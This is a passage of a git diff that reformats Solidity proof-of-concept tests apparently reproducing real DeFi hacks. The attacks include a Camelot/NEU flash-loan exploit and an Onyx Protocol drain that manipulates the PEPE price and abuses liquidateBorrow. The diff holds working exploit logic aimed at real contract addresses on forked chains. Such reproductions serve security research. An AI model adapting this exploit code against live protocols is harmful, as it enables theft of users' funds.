pure returns (uint amountB); + function quote(uint256 amountA, uint256 reserveA, uint256 reserveB) external pure returns (uint256 amountB); } interface ICamelotRouter is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, - uint liquidity, - uint amountTokenMin, - uint amountETHMin, + uint256 liquidity, + uint256 amountTokenMin, + uint256 amountETHMin, address to, - uint deadline - ) external returns (uint amountETH); + uint256 deadline + ) external returns (uint256 amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, - uint liquidity, - uint amountTokenMin, - uint amountETHMin, + uint256 liquidity, + uint256 amountTokenMin, + uint256 amountETHMin, address to, - uint deadline, + uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s - ) external returns (uint amountETH); + ) external returns (uint256 amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( - uint amountIn, - uint amountOutMin, + uint256 amountIn, + uint256 amountOutMin, address[] calldata path, address to, address referrer, - uint deadline + uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( - uint amountOutMin, + uint256 amountOutMin, address[] calldata path, address to, address referrer, - uint deadline + uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( - uint amountIn, - uint amountOutMin, + uint256 amountIn, + uint256 amountOutMin, address[] calldata path, address to, address referrer, - uint deadline + uint256 deadline ) external; } interface ICamelotFactory { - event PairCreated( - address indexed token0, - address indexed token1, - address pair, - uint256 - ); + event PairCreated(address indexed token0, address indexed token1, address pair, uint256); function owner() external view returns (address); @@ -169,31 +157,22 @@ interface ICamelotFactory { function referrersFeeShare(address) external view returns (uint256); - function getPair( - address tokenA, - address tokenB - ) external view returns (address pair); + function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); - function createPair( - address tokenA, - address tokenB - ) external returns (address pair); + function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; - function feeInfo() - external - view - returns (uint _ownerFeeShare, address _feeTo); + function feeInfo() external view returns (uint256 _ownerFeeShare, address _feeTo); } interface ICamelotPair { - event Approval(address indexed owner, address indexed spender, uint value); - event Transfer(address indexed from, address indexed to, uint value); + event Approval(address indexed owner, address indexed spender, uint256 value); + event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); @@ -201,59 +180,47 @@ interface ICamelotPair { function decimals() external pure returns (uint8); - function totalSupply() external view returns (uint); + function totalSupply() external view returns (uint256); - function balanceOf(address owner) external view returns (uint); + function balanceOf(address owner) external view returns (uint256); - function allowance( - address owner, - address spender - ) external view returns (uint); + function allowance(address owner, address spender) external view returns (uint256); - function approve(address spender, uint value) external returns (bool); + function approve(address spender, uint256 value) external returns (bool); - function transfer(address to, uint value) external returns (bool); + function transfer(address to, uint256 value) external returns (bool); - function transferFrom( - address from, - address to, - uint value - ) external returns (bool); + function transferFrom(address from, address to, uint256 value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); - function nonces(address owner) external view returns (uint); + function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, - uint value, - uint deadline, + uint256 value, + uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; - event Mint(address indexed sender, uint amount0, uint amount1); - event Burn( - address indexed sender, - uint amount0, - uint amount1, - address indexed to - ); + event Mint(address indexed sender, uint256 amount0, uint256 amount1); + event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to); event Swap( address indexed sender, - uint amount0In, - uint amount1In, - uint amount0Out, - uint amount1Out, + uint256 amount0In, + uint256 amount1In, + uint256 amount0Out, + uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); - function MINIMUM_LIQUIDITY() external pure returns (uint); + function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); @@ -264,43 +231,21 @@ interface ICamelotPair { function getReserves() external view - returns ( - uint112 reserve0, - uint112 reserve1, - uint16 token0feePercent, - uint16 token1FeePercent - ); + returns (uint112 reserve0, uint112 reserve1, uint16 token0feePercent, uint16 token1FeePercent); - function getAmountOut( - uint amountIn, - address tokenIn - ) external view returns (uint); + function getAmountOut(uint256 amountIn, address tokenIn) external view returns (uint256); - function kLast() external view returns (uint); + function kLast() external view returns (uint256); - function setFeePercent( - uint16 token0FeePercent, - uint16 token1FeePercent - ) external; + function setFeePercent(uint16 token0FeePercent, uint16 token1FeePercent) external; - function mint(address to) external returns (uint liquidity); + function mint(address to) external returns (uint256 liquidity); - function burn(address to) external returns (uint amount0, uint amount1); + function burn(address to) external returns (uint256 amount0, uint256 amount1); - function swap( - uint amount0Out, - uint amount1Out, - address to, - bytes calldata data - ) external; + function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external; - function swap( - uint amount0Out, - uint amount1Out, - address to, - bytes calldata data, - address referrer - ) external; + function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data, address referrer) external; function skim(address to) external; @@ -318,16 +263,13 @@ contract CounterTest is Test { IERC20 WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1); IERC20 NEU = IERC20(0xdA51015b73cE11F77A115Bb1b8a7049e02dDEcf0); IERC20 NEU1 = IERC20(0x6609BE1547166D1C4605F3A243FDCFf467e600C3); - ICamelotRouter CamelotRouter = - ICamelotRouter(0xc873fEcbd354f5A56E00E710B90EF4201db2448d); + ICamelotRouter CamelotRouter = ICamelotRouter(0xc873fEcbd354f5A56E00E710B90EF4201db2448d); IConvert convert = IConvert(0xdbd3d6040f87A9F822839Cb31195Ad25C2D0D54d); - ICamelotPair CamelotPair0 = - ICamelotPair(0x65eBC8Cfd2aF1D659ef2405a47172830180Ba440); - ICamelotPair CamelotPair1 = - ICamelotPair(0x2ea3CA79413C2EC4C1893D5f8C34C16acB2288A4); + ICamelotPair CamelotPair0 = ICamelotPair(0x65eBC8Cfd2aF1D659ef2405a47172830180Ba440); + ICamelotPair CamelotPair1 = ICamelotPair(0x2ea3CA79413C2EC4C1893D5f8C34C16acB2288A4); function setUp() public { - vm.createSelectFork("arbitrum", 117189138); + vm.createSelectFork("arbitrum", 117_189_138); vm.label(address(WETH), "WETH"); vm.label(address(NEU), "NEU"); } @@ -335,16 +277,11 @@ contract CounterTest is Test { function test() public { console.log("Attacker's WETH token balance: ", WETH.balanceOf(address(this))); IERC20[] memory tokens = new IERC20[](1); - uint[] memory amount = new uint[](1); + uint256[] memory amount = new uint[](1); tokens[0] = WETH; amount[0] = 1000 ether; bytes memory userdata; - valut.flashLoan( - IFlashLoanRecipient(address(this)), - tokens, - amount, - userdata - ); + valut.flashLoan(IFlashLoanRecipient(address(this)), tokens, amount, userdata); } function receiveFlashLoan( @@ -354,83 +291,58 @@ contract CounterTest is Test { bytes memory userData ) external { console.log("After flashloan attacker's WETH token balance: ", WETH.balanceOf(address(this))); - WETH.approve(address(CamelotRouter), type(uint).max); + WETH.approve(address(CamelotRouter), type(uint256).max); ICamelotFactory factoryAddr = ICamelotFactory(CamelotRouter.factory()); console.log("Factory Address: ", address(factoryAddr)); - CamelotPair0 = ICamelotPair( - factoryAddr.getPair(address(WETH), address(NEU)) - ); + CamelotPair0 = ICamelotPair(factoryAddr.getPair(address(WETH), address(NEU))); console.log("CMLT-LP0 addresss: ", address(CamelotPair0)); - console.log( - "CMLT-LP0 addresss: ", - factoryAddr.getPair(address(WETH), address(NEU)) - ); + console.log("CMLT-LP0 addresss: ", factoryAddr.getPair(address(WETH), address(NEU))); address tokenA = CamelotPair0.token0(); address tokenB = CamelotPair0.token1(); address[] memory path = new address[](2); path[0] = tokenA; path[1] = tokenB; CamelotRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( - 0.15 ether, - 0, - path, - address(this), - address(this), - block.timestamp + 30 minutes + 0.15 ether, 0, path, address(this), address(this), block.timestamp + 30 minutes ); console.log("swap token [WETH,NEU] 0.15 WETH -> NEU"); - uint neuAmount = NEU.balanceOf(address(this)); + uint256 neuAmount = NEU.balanceOf(address(this)); console.log("Attacker's NEU token balance: ", neuAmount); NEU.approve(address(CamelotRouter), neuAmount); - uint lpAmount0 = CamelotPair0.balanceOf(address(this)); + uint256 lpAmount0 = CamelotPair0.balanceOf(address(this)); console.log("Balance of Attacker in CMLT-LP0: ", lpAmount0); CamelotRouter.addLiquidity( - tokenA, - tokenB, - 0.15 ether, - neuAmount, - 0, - 0, - address(this), - block.timestamp + 30 minutes + tokenA, tokenB, 0.15 ether, neuAmount, 0, 0, address(this), block.timestamp + 30 minutes ); lpAmount0 = CamelotPair0.balanceOf(address(this)); - console.log( - "Balance of Attacker in CMLT-LP0 after addLiquidity: ", - lpAmount0 - ); - CamelotPair0.approve(address(convert), type(uint).max); - uint cvAmount = CamelotPair1.balanceOf(address(convert)); + console.log("Balance of Attacker in CMLT-LP0 after addLiquidity: ", lpAmount0); + CamelotPair0.approve(address(convert), type(uint256).max); + uint256 cvAmount = CamelotPair1.balanceOf(address(convert)); console.log("Balance of Convert in CMLT-LP1: ", cvAmount); - (uint lp0_reserve0, uint lp0_reserve1, , ) = CamelotPair0.getReserves(); + (uint256 lp0_reserve0, uint256 lp0_reserve1,,) = CamelotPair0.getReserves(); console.log("LP0 reserve0 amount: ", lp0_reserve0); console.log("LP0 reserve1 amount: ", lp0_reserve1); - (uint lp1_reserve0, uint lp1_reserve1, , ) = CamelotPair1.getReserves(); + (uint256 lp1_reserve0, uint256 lp1_reserve1,,) = CamelotPair1.getReserves(); console.log("LP1 reserve0 amount: ", lp1_reserve0); console.log("LP1 reserve1 amount: ", lp1_reserve1); - uint lp0_totalsupply = CamelotPair0.totalSupply(); + uint256 lp0_totalsupply = CamelotPair0.totalSupply(); console.log("LP0 totalSupply amount: ", lp0_totalsupply); - uint lp1_totalsupply = CamelotPair1.totalSupply(); + uint256 lp1_totalsupply = CamelotPair1.totalSupply(); console.log("LP1 totalSupply amount: ", lp1_totalsupply); neuAmount = NEU.balanceOf(address(this)); console.log("Attacker's NEU token balance: ", neuAmount); CamelotRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( - 849 ether, - 0, - path, - address(this), - address(this), - block.timestamp + 30 minutes + 849 ether, 0, path, address(this), address(this), block.timestamp + 30 minutes ); console.log("swap token [WETH,NEU] 849 WETH -> NEU"); neuAmount = NEU.balanceOf(address(this)); console.log("Attacker's NEU token balance: ", neuAmount); - uint wethAmount = WETH.balanceOf(address(this)); + uint256 wethAmount = WETH.balanceOf(address(this)); console.log("Attacker's WETH token balance: ", wethAmount); - (lp0_reserve0, lp0_reserve1, , ) = CamelotPair0.getReserves(); + (lp0_reserve0, lp0_reserve1,,) = CamelotPair0.getReserves(); console.log("LP0 reserve0 amount: ", lp0_reserve0); console.log("LP0 reserve1 amount: ", lp0_reserve1); - (lp1_reserve0, lp1_reserve1, , ) = CamelotPair1.getReserves(); + (lp1_reserve0, lp1_reserve1,,) = CamelotPair1.getReserves(); console.log("LP1 reserve0 amount: ", lp1_reserve0); console.log("LP1 reserve1 amount: ", lp1_reserve1); convert.convert(lpAmount0); @@ -439,49 +351,39 @@ contract CounterTest is Test { console.log("Attacker's NEU token balance: ", neuAmount); wethAmount = WETH.balanceOf(address(this)); console.log("Attacker's WETH token balance: ", wethAmount); - NEU.approve(address(CamelotRouter), type(uint).max); + NEU.approve(address(CamelotRouter), type(uint256).max); address[] memory path1 = new address[](2); path1[0] = tokenB; path1[1] = tokenA; CamelotRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( - neuAmount, - 0, - path1, - address(this), - address(this), - block.timestamp + 30 minutes + neuAmount, 0, path1, address(this), address(this), block.timestamp + 30 minutes ); console.log("swap token [NEU,WETH]"); wethAmount = WETH.balanceOf(address(this)); console.log("Attacker's WETH token balance: ", wethAmount); - uint lpAmount1 = CamelotPair1.balanceOf(address(this)); + uint256 lpAmount1 = CamelotPair1.balanceOf(address(this)); console.log("Balance of Attacker in CMLT-LP1: ", lpAmount1); CamelotPair1.transfer(address(CamelotPair1), lpAmount1); - (uint amount0, uint amount1) = CamelotPair1.burn(address(this)); + (uint256 amount0, uint256 amount1) = CamelotPair1.burn(address(this)); console.log("CMLT-LP1 burn amount: ", amount0, amount1); - uint neu1Amount = NEU1.balanceOf(address(this)); + uint256 neu1Amount = NEU1.balanceOf(address(this)); console.log("Attacker's NEU1 token balance: ", neu1Amount); wethAmount = WETH.balanceOf(address(this)); console.log("Attacker's WETH token balance: ", wethAmount); address[] memory path2 = new address[](2); path2[0] = address(NEU1); path2[1] = address(WETH); - NEU1.approve(address(CamelotRouter), type(uint).max); + NEU1.approve(address(CamelotRouter), type(uint256).max); CamelotRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( - neu1Amount, - 0, - path2, - address(this), - address(this), - block.timestamp + 30 minutes + neu1Amount, 0, path2, address(this), address(this), block.timestamp + 30 minutes ); console.log("swap token [NEU1,WETH]"); wethAmount = WETH.balanceOf(address(this)); console.log("Attacker's WETH token balance: ", wethAmount); - (lp0_reserve0, lp0_reserve1, , ) = CamelotPair0.getReserves(); + (lp0_reserve0, lp0_reserve1,,) = CamelotPair0.getReserves(); console.log("LP0 reserve0 amount: ", lp0_reserve0); console.log("LP0 reserve1 amount: ", lp0_reserve1); - (lp1_reserve0, lp1_reserve1, , ) = CamelotPair1.getReserves(); + (lp1_reserve0, lp1_reserve1,,) = CamelotPair1.getReserves(); console.log("LP1 reserve0 amount: ", lp1_reserve0); console.log("LP1 reserve1 amount: ", lp1_reserve1); WETH.transfer(address(valut), 1000 ether); @@ -489,4 +391,4 @@ contract CounterTest is Test { wethAmount = WETH.balanceOf(address(this)); console.log("Attacker's WETH token balance: ", wethAmount); } -} \ No newline at end of file +} diff --git a/src/test/NewFi_exp.sol b/src/test/NewFi_exp.sol index 3972fd81..a235cce3 100644 --- a/src/test/NewFi_exp.sol +++ b/src/test/NewFi_exp.sol @@ -57,7 +57,7 @@ contract ContractTest is Test { emit log_named_decimal_uint( "Attacker BUSD balance after exploit", BUSD.balanceOf(address(this)), BUSD.decimals() - ); + ); } function pancakeV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external { diff --git a/src/test/Nmbplatform_exp.sol b/src/test/Nmbplatform_exp.sol index ea3c588f..303aa9c5 100644 --- a/src/test/Nmbplatform_exp.sol +++ b/src/test/Nmbplatform_exp.sol @@ -68,7 +68,7 @@ contract ContractTest is Test { emit log_named_decimal_uint( "Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), WBNB.decimals() - ); + ); } function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external { diff --git a/src/test/OLIFE_exp.sol b/src/test/OLIFE_exp.sol index 478522ca..c93811b5 100644 --- a/src/test/OLIFE_exp.sol +++ b/src/test/OLIFE_exp.sol @@ -69,7 +69,7 @@ contract ContractTest is Test { "[INFO] OLIFE amount in pair before the currentRate reduction", OLIFE.balanceOf(address(OLIFE_WBNB_LPPool)), 9 - ); + ); loopTransfer(19); OLIFE.deliver(66_859_267_695_870_000); @@ -78,7 +78,7 @@ contract ContractTest is Test { "[INFO] OLIFE amount in pair after the currentRate reduction", OLIFE.balanceOf(address(OLIFE_WBNB_LPPool)), 9 - ); + ); (uint256 oldOlifeReserve, uint256 bnbReserve,) = OLIFE_WBNB_LPPool.getReserves(); uint256 newolifeReserve = OLIFE.balanceOf(address(OLIFE_WBNB_LPPool)); diff --git a/src/test/OnyxProtocol_exp.sol b/src/test/OnyxProtocol_exp.sol index afdca372..783131a6 100644 --- a/src/test/OnyxProtocol_exp.sol +++ b/src/test/OnyxProtocol_exp.sol @@ -22,65 +22,38 @@ interface IComptroller { uint256 actualRepayAmount ) external view returns (uint256, uint256); - function enterMarkets( - address[] memory cTokens - ) external returns (uint256[] memory); + function enterMarkets(address[] memory cTokens) external returns (uint256[] memory); } contract ContractTest is Test { - IAaveFlashloan private constant AaveV3 = - IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2); - IWETH private constant WETH = - IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)); - IERC20 private constant PEPE = - IERC20(0x6982508145454Ce325dDbE47a25d4ec3d2311933); - IUSDC private constant USDC = - IUSDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); - IUSDT private constant USDT = - IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7); - IERC20 private constant PAXG = - IERC20(0x45804880De22913dAFE09f4980848ECE6EcbAf78); - IERC20 private constant DAI = - IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); - IERC20 private constant WBTC = - IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599); - IERC20 private constant LINK = - IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA); - ICErc20Delegate private constant oPEPE = - ICErc20Delegate(payable(0x5FdBcD61bC9bd4B6D3FD1F49a5D253165Ea11750)); - ICErc20Delegate private constant oUSDC = - ICErc20Delegate(payable(0x8f35113cFAba700Ed7a907D92B114B44421e412A)); - ICErc20Delegate private constant oUSDT = - ICErc20Delegate(payable(0xbCed4e924f28f43a24ceEDec69eE21ed4D04D2DD)); - ICErc20Delegate private constant oPAXG = - ICErc20Delegate(payable(0x0C19D213e9f2A5cbAA4eC6E8eAC55a22276b0641)); - ICErc20Delegate private constant oDAI = - ICErc20Delegate(payable(0x830DAcD5D0a62afa92c9Bc6878461e9cD317B085)); - ICErc20Delegate private constant oBTC = - ICErc20Delegate(payable(0x1933f1183C421d44d531Ed40A5D2445F6a91646d)); - ICErc20Delegate private constant oLINK = - ICErc20Delegate(payable(0xFEe4428b7f403499C50a6DA947916b71D33142dC)); - crETH private constant oETHER = - crETH(payable(0x714bD93aB6ab2F0bcfD2aEaf46A46719991d0d79)); - Uni_Pair_V2 private constant PEPE_WETH = - Uni_Pair_V2(0xA43fe16908251ee70EF74718545e4FE6C5cCEc9f); - Uni_Pair_V2 private constant USDC_WETH = - Uni_Pair_V2(0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc); - Uni_Pair_V2 private constant WETH_USDT = - Uni_Pair_V2(0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852); - Uni_Pair_V2 private constant PAXG_WETH = - Uni_Pair_V2(0x9C4Fe5FFD9A9fC5678cFBd93Aa2D4FD684b67C4C); - Uni_Pair_V2 private constant DAI_WETH = - Uni_Pair_V2(0xA478c2975Ab1Ea89e8196811F51A7B7Ade33eB11); - Uni_Pair_V2 private constant WBTC_WETH = - Uni_Pair_V2(0xBb2b8038a1640196FbE3e38816F3e67Cba72D940); - Uni_Pair_V2 private constant LINK_WETH = - Uni_Pair_V2(0xa2107FA5B38d9bbd2C461D6EDf11B11A50F6b974); - Uni_Router_V2 private constant Router = - Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); + IAaveFlashloan private constant AaveV3 = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2); + IWETH private constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)); + IERC20 private constant PEPE = IERC20(0x6982508145454Ce325dDbE47a25d4ec3d2311933); + IUSDC private constant USDC = IUSDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); + IUSDT private constant USDT = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7); + IERC20 private constant PAXG = IERC20(0x45804880De22913dAFE09f4980848ECE6EcbAf78); + IERC20 private constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); + IERC20 private constant WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599); + IERC20 private constant LINK = IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA); + ICErc20Delegate private constant oPEPE = ICErc20Delegate(payable(0x5FdBcD61bC9bd4B6D3FD1F49a5D253165Ea11750)); + ICErc20Delegate private constant oUSDC = ICErc20Delegate(payable(0x8f35113cFAba700Ed7a907D92B114B44421e412A)); + ICErc20Delegate private constant oUSDT = ICErc20Delegate(payable(0xbCed4e924f28f43a24ceEDec69eE21ed4D04D2DD)); + ICErc20Delegate private constant oPAXG = ICErc20Delegate(payable(0x0C19D213e9f2A5cbAA4eC6E8eAC55a22276b0641)); + ICErc20Delegate private constant oDAI = ICErc20Delegate(payable(0x830DAcD5D0a62afa92c9Bc6878461e9cD317B085)); + ICErc20Delegate private constant oBTC = ICErc20Delegate(payable(0x1933f1183C421d44d531Ed40A5D2445F6a91646d)); + ICErc20Delegate private constant oLINK = ICErc20Delegate(payable(0xFEe4428b7f403499C50a6DA947916b71D33142dC)); + crETH private constant oETHER = crETH(payable(0x714bD93aB6ab2F0bcfD2aEaf46A46719991d0d79)); + Uni_Pair_V2 private constant PEPE_WETH = Uni_Pair_V2(0xA43fe16908251ee70EF74718545e4FE6C5cCEc9f); + Uni_Pair_V2 private constant USDC_WETH = Uni_Pair_V2(0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc); + Uni_Pair_V2 private constant WETH_USDT = Uni_Pair_V2(0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852); + Uni_Pair_V2 private constant PAXG_WETH = Uni_Pair_V2(0x9C4Fe5FFD9A9fC5678cFBd93Aa2D4FD684b67C4C); + Uni_Pair_V2 private constant DAI_WETH = Uni_Pair_V2(0xA478c2975Ab1Ea89e8196811F51A7B7Ade33eB11); + Uni_Pair_V2 private constant WBTC_WETH = Uni_Pair_V2(0xBb2b8038a1640196FbE3e38816F3e67Cba72D940); + Uni_Pair_V2 private constant LINK_WETH = Uni_Pair_V2(0xa2107FA5B38d9bbd2C461D6EDf11B11A50F6b974); + Uni_Router_V2 private constant Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); function setUp() public { - vm.createSelectFork("mainnet", 18476512); + vm.createSelectFork("mainnet", 18_476_512); vm.label(address(AaveV3), "AaveV3"); vm.label(address(WETH), "WETH"); vm.label(address(PEPE), "PEPE"); @@ -93,25 +66,11 @@ contract ContractTest is Test { function testExploit() public { deal(address(this), 0 ether); deal(address(WETH), address(this), 0); - emit log_named_decimal_uint( - "Attacker WETH balance before exploit", - WETH.balanceOf(address(this)), - 18 - ); + emit log_named_decimal_uint("Attacker WETH balance before exploit", WETH.balanceOf(address(this)), 18); - AaveV3.flashLoanSimple( - address(this), - address(WETH), - 4_000 * 1e18, - bytes(""), - 0 - ); + AaveV3.flashLoanSimple(address(this), address(WETH), 4000 * 1e18, bytes(""), 0); - emit log_named_decimal_uint( - "Attacker WETH balance after exploit", - WETH.balanceOf(address(this)), - 18 - ); + emit log_named_decimal_uint("Attacker WETH balance after exploit", WETH.balanceOf(address(this)), 18); } function executeOperation( @@ -122,100 +81,63 @@ contract ContractTest is Test { bytes calldata params ) external returns (bool) { approveAll(); - (uint112 reservePEPE, uint112 reserveWETH, ) = PEPE_WETH.getReserves(); - uint256 amountOut = calcAmountOut( - reservePEPE, - reserveWETH, - WETH.balanceOf(address(this)) - ); + (uint112 reservePEPE, uint112 reserveWETH,) = PEPE_WETH.getReserves(); + uint256 amountOut = calcAmountOut(reservePEPE, reserveWETH, WETH.balanceOf(address(this))); WETHToPEPE(amountOut); // oETHER IntermediateContractETH intermediateETH = new IntermediateContractETH(); PEPE.transfer(address(intermediateETH), PEPE.balanceOf(address(this))); intermediateETH.start(); - oETHER.liquidateBorrow{value: 0.000000000000000001 ether}( - address(intermediateETH), - address(oPEPE) - ); + oETHER.liquidateBorrow{value: 0.000000000000000001 ether}(address(intermediateETH), address(oPEPE)); oPEPE.redeem(oPEPE.balanceOf(address(this))); WETH.deposit{value: address(this).balance}(); // oUSDC { exploitToken(oUSDC); - (uint112 reserveUSDC, uint112 reserveWETH1, ) = USDC_WETH - .getReserves(); - amountOut = calcAmountOut( - reserveWETH1, - reserveUSDC, - USDC.balanceOf(address(this)) - ); + (uint112 reserveUSDC, uint112 reserveWETH1,) = USDC_WETH.getReserves(); + amountOut = calcAmountOut(reserveWETH1, reserveUSDC, USDC.balanceOf(address(this))); USDCToWETH(amountOut); } // oUSDT { exploitToken(oUSDT); - (uint112 reserveWETH2, uint112 reserveUSDT, ) = WETH_USDT - .getReserves(); - amountOut = calcAmountOut( - reserveUSDT, - reserveWETH2, - USDT.balanceOf(address(this)) - ); + (uint112 reserveWETH2, uint112 reserveUSDT,) = WETH_USDT.getReserves(); + amountOut = calcAmountOut(reserveUSDT, reserveWETH2, USDT.balanceOf(address(this))); USDTToWETH(amountOut); } // oPAXG { exploitToken(oPAXG); - (uint112 reservePAXG, uint112 reserveWETH3, ) = PAXG_WETH - .getReserves(); - amountOut = calcAmountOut( - reserveWETH3, - reservePAXG, - PAXG.balanceOf(address(this)) - ); + (uint112 reservePAXG, uint112 reserveWETH3,) = PAXG_WETH.getReserves(); + amountOut = calcAmountOut(reserveWETH3, reservePAXG, PAXG.balanceOf(address(this))); PAXGToWETH(amountOut); } // oDAI { exploitToken(oDAI); - (uint112 reserveDAI, uint112 reserveWETH4, ) = DAI_WETH - .getReserves(); - amountOut = calcAmountOut( - reserveWETH4, - reserveDAI, - DAI.balanceOf(address(this)) - ); + (uint112 reserveDAI, uint112 reserveWETH4,) = DAI_WETH.getReserves(); + amountOut = calcAmountOut(reserveWETH4, reserveDAI, DAI.balanceOf(address(this))); DAIToWETH(amountOut); } // oBTC { exploitToken(oBTC); - (uint112 reserveWBTC, uint112 reserveWETH5, ) = WBTC_WETH - .getReserves(); - amountOut = calcAmountOut( - reserveWETH5, - reserveWBTC, - WBTC.balanceOf(address(this)) - ); + (uint112 reserveWBTC, uint112 reserveWETH5,) = WBTC_WETH.getReserves(); + amountOut = calcAmountOut(reserveWETH5, reserveWBTC, WBTC.balanceOf(address(this))); WBTCToWETH(amountOut); } // oLink { exploitToken(oLINK); - (uint112 reserveLINK, uint112 reserveWETH6, ) = LINK_WETH - .getReserves(); - amountOut = calcAmountOut( - reserveWETH6, - reserveLINK, - LINK.balanceOf(address(this)) - ); + (uint112 reserveLINK, uint112 reserveWETH6,) = LINK_WETH.getReserves(); + amountOut = calcAmountOut(reserveWETH6, reserveLINK, LINK.balanceOf(address(this))); LINKToWETH(amountOut); } @@ -234,11 +156,7 @@ contract ContractTest is Test { path[0] = address(WETH); path[1] = address(PEPE); Router.swapExactTokensForTokens( - WETH.balanceOf(address(this)), - (_amountOut - _amountOut / 100), - path, - address(this), - block.timestamp + 3600 + WETH.balanceOf(address(this)), (_amountOut - _amountOut / 100), path, address(this), block.timestamp + 3600 ); } @@ -247,11 +165,7 @@ contract ContractTest is Test { path[0] = address(USDC); path[1] = address(WETH); Router.swapExactTokensForTokens( - USDC.balanceOf(address(this)), - (_amountOut - _amountOut / 100), - path, - address(this), - block.timestamp + 3600 + USDC.balanceOf(address(this)), (_amountOut - _amountOut / 100), path, address(this), block.timestamp + 3600 ); } @@ -260,11 +174,7 @@ contract ContractTest is Test { path[0] = address(USDT); path[1] = address(WETH); Router.swapExactTokensForTokens( - USDT.balanceOf(address(this)), - (_amountOut - _amountOut / 100), - path, - address(this), - block.timestamp + 3600 + USDT.balanceOf(address(this)), (_amountOut - _amountOut / 100), path, address(this), block.timestamp + 3600 ); } @@ -273,11 +183,7 @@ contract ContractTest is Test { path[0] = address(PAXG); path[1] = address(WETH); Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( - PAXG.balanceOf(address(this)), - (_amountOut - _amountOut / 100), - path, - address(this), - block.timestamp + 3600 + PAXG.balanceOf(address(this)), (_amountOut - _amountOut / 100), path, address(this), block.timestamp + 3600 ); } @@ -286,11 +192,7 @@ contract ContractTest is Test { path[0] = address(DAI); path[1] = address(WETH); Router.swapExactTokensForTokens( - DAI.balanceOf(address(this)), - (_amountOut - _amountOut / 100), - path, - address(this), - block.timestamp + 3600 + DAI.balanceOf(address(this)), (_amountOut - _amountOut / 100), path, address(this), block.timestamp + 3600 ); } @@ -299,11 +201,7 @@ contract ContractTest is Test { path[0] = address(WBTC); path[1] = address(WETH); Router.swapExactTokensForTokens( - WBTC.balanceOf(address(this)), - (_amountOut - _amountOut / 100), - path, - address(this), - block.timestamp + 3600 + WBTC.balanceOf(address(this)), (_amountOut - _amountOut / 100), path, address(this), block.timestamp + 3600 ); } @@ -312,11 +210,7 @@ contract ContractTest is Test { path[0] = address(LINK); path[1] = address(WETH); Router.swapExactTokensForTokens( - LINK.balanceOf(address(this)), - (_amountOut - _amountOut / 100), - path, - address(this), - block.timestamp + 3600 + LINK.balanceOf(address(this)), (_amountOut - _amountOut / 100), path, address(this), block.timestamp + 3600 ); } @@ -325,11 +219,7 @@ contract ContractTest is Test { path[0] = address(PEPE); path[1] = address(WETH); Router.swapExactTokensForTokens( - PEPE.balanceOf(address(this)), - 3_950_619_005_376_690_920_220, - path, - address(this), - block.timestamp + 3600 + PEPE.balanceOf(address(this)), 3_950_619_005_376_690_920_220, path, address(this), block.timestamp + 3600 ); } @@ -350,11 +240,7 @@ contract ContractTest is Test { PEPE.approve(address(Router), type(uint256).max); } - function calcAmountOut( - uint112 reserve1, - uint112 reserve2, - uint256 tokenBalance - ) internal pure returns (uint256) { + function calcAmountOut(uint112 reserve1, uint112 reserve2, uint256 tokenBalance) internal pure returns (uint256) { uint256 a = (tokenBalance * 997); uint256 b = a * reserve1; uint256 c = (reserve2 * 1000) + a; @@ -363,29 +249,18 @@ contract ContractTest is Test { function exploitToken(ICErc20Delegate onyxToken) internal { IntermediateContractToken intermediateToken = new IntermediateContractToken(); - PEPE.transfer( - address(intermediateToken), - PEPE.balanceOf(address(this)) - ); + PEPE.transfer(address(intermediateToken), PEPE.balanceOf(address(this))); intermediateToken.start(onyxToken); - 